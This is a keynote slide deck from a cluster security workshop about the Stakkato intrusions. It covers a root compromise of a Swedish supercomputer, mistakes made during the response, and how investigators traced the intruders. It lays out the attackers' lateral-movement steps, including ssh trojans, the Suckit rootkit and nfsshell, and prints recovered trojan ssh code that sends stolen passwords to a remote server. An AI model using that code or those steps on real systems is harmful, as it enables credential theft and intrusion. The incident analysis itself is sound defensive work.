The Stakkato Intrusions
What happened and what have we learned?
Keynote talk given at the Cluster Security workshop during CCGrid06

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One year ago

The New York Times

Internet Attack Called Broad and Long Lasting by Investigators

SAN FRANCISCO, May 9 – The incident seemed alarming enough: a breach of a Cisco Systems network in which an intruder seized programming instructions for many of the computers that control the flow of the Internet.

Now federal officials and computer security investigators have acknowledged that the Cisco break-in last year was only part of a more extensive operation – involving a single intruder or a small band, apparently based in Europe – in which thousands of computer systems were similarly penetrated. […]

Attention is focused on a 16-year-old in Uppsala, Sweden. […]

As the attacks were first noted in April 2004, a researcher […] began to receive taunting e-mail messages from someone going by the name Stakkato […]

Lennart comes into my room, looking worried.
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– Have you created an account called “x_marty”?
Root compromise on Monolith!

The front-end login node on our cluster Monolith was root compromised. At the time, this was the fastest computer in the nation.

I never did get a lunch that day.
New account, x_marty, created on Monolith the previous Saturday.

Logins to this account from universities in USA, Israel and Sweden, and from an home computer in Sweden.

From some of these logins had also been made to a legitimate account, belonging to a user from another Swedish university.

Time for a chat.
So why didn’t you tell us?

We found an announcement on his department’s web page: Due to widespread intrusions and password thefts, users across the university would have to change their passwords. This was dated several weeks in the past. Great.

The announcement also mentioned that the passwords had been stolen by a modified ssh client.

Checking this, we found that the ssh client on Monolith was replaced by a trojan client.
So, anyone who had used this ssh client to log into another account had had their passwords stolen.

Passwords were transmitted to a remote machine, where the intruders could collect the passwords at their leisure.
Three NSC administrators had their passwords stolen. A bunch of systems had had unauthorized logins. Two cluster frontends (Monolith and Otto) and an old SGI Origin had root intrusions.

Trojan ssh clients found on Monolith and the SGI machine. Otto had the Suckit rootkit installed.

Passwords stolen that allowed attacks on at least one other site.
Oh, the embarrassment...

The first thing we did when we discovered the root intrusion on Monolith was to change the root password on all our clusters.

We used the same new root password on all clusters. **Big mistake 1** – since the Otto cluster had a rootkit installed, the attackers intercepted the new root password.

Monolith was restored and put back in service before Otto was fully analyzed and the rootkit detected. And we kept the new root password on Monolith. **Big mistake 2**.
So, one week later, on June 22, Monolith users were greeted by the following message when they logged in:

```
\:/
::O:::
/:
 |.
|.

$\$\$\$\$BEOWULF$$\$\$\$\$

$\$\$\$BEOWULF$$\$\$\$\$

/######\ 
/ -x- (_X_) \ 
\ (o_0_) / 
\ 1`--.--._____/ / 
\ \ ###|## / 
\ '-------' / 

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RUNNING LINUX IS ALWAYS
A GREAT OPTION IF YOU WANT
TO SHARE YOUR ACCOUNT WITH
EVERYONE.
```

Very funny.
Return visit

No stealth this time. All accounts had new login shells that printed insulting messages on login.

We found a badly written non-functional script that was intended to start copies of itself on every node and e-mail more insulting messages to all users.

They also tried to deface our web server, but were interrupted in progress.

This time, we were down for a couple of weeks while every single NSC machine was thoroughly inspected and parts of Monolith were redesigned for increased security.
During the following seven months we had a number of user level intrusions through stolen accounts, none of them leading to elevated privileges or data loss\(^1\) at NSC.

Most of them came from thoroughly infested departments at other universities.

\(^1\)As far as we know…
The broader view

Some of the sites/companies/providers known to have been at the receiving end of an attack:

berkeley.edu  gatech.edu  rr.com  ucsc.edu
bonet.se  iastate.edu  rutgers.edu  ucsd.edu
brandeis.edu  jhu.edu  sdsc.edu  uiuc.edu
bredbandsbolaget.se  ki.se  seagull.net  utk.edu
brown.edu  kralovopolska.cz  simons-rock.edu  uuc.edu
bu.edu  kth.se  skanova.com  uwea.se
cam.ac.uk  liu.se  skogsbrynet.se  umn.edu
cern.ch  liv.ac.uk  songnetworks.se  umo.se
cchalmers.se  lu.se  stanford.edu  unige.ch
cisco.com  mit.edu  technion.ac.il  uta.fi
columbia.edu  naqua.se  telia.com  utk.edu
csbnet.se  nasa.gov  uchicago.edu  uu.se
desy.de  nikhef.nl  uci.edu  wsmr.army.mil
epfl.ch  pitt.edu  ucolorado.edu

This is just a small sample; from August 2003 through March 2005 something like a thousand sites were attacked.
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   - Identify administrative users and groups. For example, is there a `/sw` filesystem with site-wide software, owned by a particular user or group?
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   - Loop over hosts (cut’n’paste your standard bash `for` loop) and try to log in on them using your stolen account. Save output from `w` and `uname -a` in a temp file.
   - Use this data to find potential targets. Easiest target: Linux machine with unpatched kernel. Otherwise: use toolbox of standard exploits for Linux, Solaris, Irix or AIX machines. There is bound to be an old forgotten NFS client machine somewhere...
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   - If that doesn’t work, drop your ssh trojan into a user’s home directory. (Change .bash_profile to put it first in $PATH if necessary.) Target an administrative user if possible – this may be a goldmine for root passwords.
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6. Consider deploying the Suckit rootkit on Linux machines – snoops all entered passwords and provides a stealthy backdoor for remote root access.
nfsshell

Sometimes you can even skip step 4 (getting root on an NFS client).

Download and compile the `nfsshell`\(^1\) utility – userspace NFS client.

If the NFS server doesn’t verify that client requests use low-numbered source ports\(^2\), you can use `nfsshell` to pose as any user, including root.

On some OS:s, the port number check is disabled by default!

\(^1\)ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz
\(^2\)i.e. that the client is running as root
Moving on

So you have infiltrated the site thoroughly. What now?

• Read other people’s e-mail.

• Use site computers to run John the Ripper

• Sniff local network for cleartext passwords.

• ...

But this grows old quick – time to move on to exciting new targets.

If you have not already done so, deploy your ssh trojan in one or several strategical locations. Wait for the passwords to roll in. Then start over at step 1.
Trojan ssh – a closer look

Ssh client built from source on Monolith

Source tree had been deleted, but The Coroner’s Toolkit (TCT)\(^1\) could retrieve most of it.

The source code was a slightly modified Openssh, with the most interesting modification being the addition of the little function `sendit()`.

\(^1\)[http://www.porcupine.org/forensics/tct.html]
int sendit(char *knark, char *email)
/* "knark" contains the remote username, hostname and password.  
   "email" contains "lp@<university>.edu". (Unused variable) */
{
    /* [do a fork() and variable initialization] */
    char host[]="\xe6\xe0\xf6\xfe\xec\xe6\xe0\xf6\xfe\xec\xf3\xfc\xe3\xfb\xfb";

    p = host;
    while(*p != '\0')
    {
        *p = 0x95 ^ *p;
        p++;
    }
    /* Decode host to "suckysuckyfivedollah.ath.cx" (Dynamic DNS service) */

    he=gethostbyname(host);
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    their_addr.sin_family = AF_INET;
    their_addr.sin_port = htons(53);
    their_addr.sin_addr = *((struct in_addr *)he->h_addr);
sendit()

/* [...] */

snprintf(msg, 512, "-> %s@%s\n", usr->pw_name, hostname);
if(send(sockfd, msg, strlen(msg), 0) == -1)
    exit(0);

snprintf(msg, 512, "%s\n", knark);
if(send(sockfd, msg, strlen(msg), 0) == -1)
    exit(0);

/* [cleanup stuff] */

return 0;
}
Useful variable names

Side comment: even though all hostnames and similar strings were XOR-“encoded” so they wouldn’t appear in cleartext in the binary, the variable name knark did appear, and proved to be a useful simple telltale:

```
$ grep knark ssh
Binary file ssh matches
```
That’s all there is to it

So, these simple tools and methods was all that was needed to crack a thousand high-profile sites.

And a certain addictive personality trait, of course.
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• Many sites concentrate on remote attacks, not local. In particular, NFS is often not configured with sufficient paranoia.
A few days after the first intrusion at NSC, I was contacted by Jim Barlow at NCSA. After a big wave of Stakkato intrusions early 2004\(^1\), he had been working together with Victor Hazlewood at SDSC to keep track of the intrusions and to trace the intruder.

\(^1\)“The Teragrid Incident” a.k.a. “FBI Case 216”
One of the best ways of keeping track of the intrusions was to simply snoop the network connection to the password collection server.

When 80% of the cracked sites went away within a week, the intruders became aware that they were being snooped on.

They thrashed the machine and started moving the server around, but working with local admins, Jim and Victor were mostly able to set up a new wiretapping service within a few days.
Backtracking

Tracing the actual intruders proved harder, since they worked through several layers of cracked machines in different countries.

You might follow a chain of logins from, say, the US to Germany, France, Switzerland and then Germany again, before losing the trace.
What’s in a name?

But there were other leads:

“Knark” is Swedish slang for “narcotics”. It’s can be used to mean “good stuff” or “crazy stuff”. So, if you have a variable that contains a freshly stolen password, it’s quite reasonable to call it “knark”.
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If you are a Swedish teenager, that is.
Christian Nygaard, an admin at the math department at Uppsala University, which had been hit a couple of weeks before NSC, had also found the source of the ssh trojan.

He started googling keywords and phrases from the source, and soon found leads to a certain IRC channel. From there it was a “simple matter” of reading huge amounts of IRC logs and further googling to identify a group of suspects and, finally, match them to physical persons.
So we had reasonably good leads. However: leads ≠ proof.

Furthermore, Sweden has rather strict privacy laws, so the police couldn’t simply wiretap the suspects.

Indeed, it wasn’t until a new law was introduced on November 1, 2004, that the crime “data intrusion” was considered serious enough that wiretapping could be used at all.

So, we had to wait patiently while the intrusions continued for more evidence to be slowly gathered.
Finally

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May 9, 2005: New York Times get the scoop. Newspapers run wild with “Teenager stole the codes to the Internet!!!”-type stories.
The police seized several computers and got lots and lots of material to sift through, much of it encrypted.

The investigation is finally about to be wrapped up, and the trial might start around June/July.
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It is not enough to have prearranged channels – *ad hoc* organization is needed.

Inflexible policies are bad. Especially if they confuse security with secrecy – there are still too many sites that try to hush up incidents. *Stupid!*
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Corollary: You need defense-in-depth. Relying solely on “firewall-style” perimeter protection is a recipe for disaster¹.

¹Firewalls aren’t necessarily bad – just insufficient
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Never make a single mistake when administering a cluster…
Acknowledgements

This was a team effort by hundreds of admins, CERT staff and police around the world.

Thanks to Jim and Chris for input to this presentation.